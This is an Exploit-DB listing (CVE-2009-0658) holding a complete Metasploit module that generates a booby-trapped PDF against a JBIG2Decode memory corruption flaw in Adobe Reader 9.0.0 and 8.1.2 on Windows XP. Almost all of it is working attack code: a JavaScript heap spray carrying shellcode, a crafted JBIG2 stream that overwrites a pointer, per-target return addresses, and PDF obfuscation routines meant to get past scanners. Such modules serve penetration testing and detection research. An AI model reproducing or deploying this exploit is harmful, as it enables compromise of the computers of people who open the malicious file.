标题: Adobe - JBIG2Decode Memory Corruption (Metasploit) (2) EDB-ID: 16672 CVE: 2009-0658 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: adobe_jbig2decode.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe JBIG2Decode Memory Corruption Exploit',
   'Description'    => %q{
     This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
     This module relies upon javascript for the heap spray.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     # Metasploit implementation
     'natron',
     # bl4cksecurity blog explanation of vuln [see References]
     'xort', 'redsand',
     # obfuscation techniques and pdf template from util_printf
     'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
    ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE' , '2009-0658' ],
     [ 'OSVDB', '52073' ],
     [ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => ""
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
     [ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
    ],
   'DisclosureDate' => 'Feb 19 2009',
   'DefaultTarget'  => 0))

  register_options([
   OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
  ], self.class)

  end

 def exploit
  # Encode the shellcode.
  shellcode   = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  ptroverwrite  = Rex::Text.to_unescape([target.ret].pack("V"))

  nops    = Rex::Text.to_unescape(make_nops(4))

  # Randomize some variables
  rand1 = rand_text_alpha(rand(50) + 1)
  rand2 = rand_text_alpha(rand(50) + 1)
  rand3 = rand_text_alpha(rand(50) + 1)
  rand4 = rand_text_alpha(rand(50) + 1)
  rand5 = rand_text_alpha(rand(50) + 1)
  rand6 = rand_text_alpha(rand(50) + 1)
  rand7 = rand_text_alpha(rand(50) + 1)
  rand8 = rand_text_alpha(rand(50) + 1)
  rand9 = rand_text_alpha(rand(50) + 1)
  rand10 = rand_text_alpha(rand(50) + 1)
  rand11 = rand_text_alpha(rand(50) + 1)
  rand12 = rand_text_alpha(rand(50) + 1)
  rand13 = rand_text_alpha(rand(50) + 1)
  rand14 = rand_text_alpha(rand(50) + 1)
  rand15 = rand_text_alpha(rand(50) + 1)
  rand16 = rand_text_alpha(rand(50) + 1)

  script = %Q|
  var #{rand1} = "";
  var #{rand2} = "";
  var #{rand3} = unescape("#{shellcode}");
  var #{rand4} = "";

  for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
  #{rand6} = #{rand4} + #{rand3};
  #{rand7} = unescape("#{nops}");
  #{rand8} = 20;
  #{rand9} = #{rand8}+#{rand6}.length
  while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
  #{rand10} = #{rand7}.substring(0, #{rand9});
  #{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
  while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
  #{rand12} = new Array();
  for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};

  for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
  #{rand13} = #{rand2}.length + 20
  while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
  #{rand14} = #{rand2}.substring(0, #{rand13});
  #{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
  while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
  #{rand16} = new Array();
  for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
  eaxptr  = "\x00\x20\x50\xff"   # CALL DWORD PTR DS:[EAX+20]
  eaxp20ptr = "\x05\x69\x50\x50"  # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
  modifier = "\x00\x69\x00\x00"  # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
        # natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
        # EAX: 0x690000   ECX: 0x2004a00   WriteAddr: 0xa3449ec
        # EAX: 0x690000   ECX: 0x358a228   WriteAddr: 0xb8ca214

  jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr

  # Create the pdf
  pdf = make_pdf(script, jbig2stream)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)
 end

 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end

 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)
  result = ""
  str.scan(/./u) do |c|
   if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   # Randomize the spaces and newlines
   elsif c == " "
    result << " " * (rand(3) + 1)
    if rand(2) == 0
     result << "\x0d\x0a"
     result << " " * rand(2)
    end
   else
    result << c
   end
  end
  result
 end

 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end

 def make_pdf(js, jbig2)

  xref = []
  eol = "\x0d\x0a"
  endobj = "endobj" << eol

  pdf = "%PDF-1.5" << eol
  pdf << "%" << RandomNonASCIIString(4) << eol
  xref << pdf.length
  pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
  xref << pdf.length
  pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
  xref << pdf.length
  pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
  xref << pdf.length
  pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
  xref << pdf.length
  pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
  xref << pdf.length

  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
  pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << endobj
  xref << pdf.length

  pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol

  xref << pdf.length
  compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
  pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << endobj

  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end
  pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF" << eol
 end

end URL: https://www.exploit-db.com/exploits/16672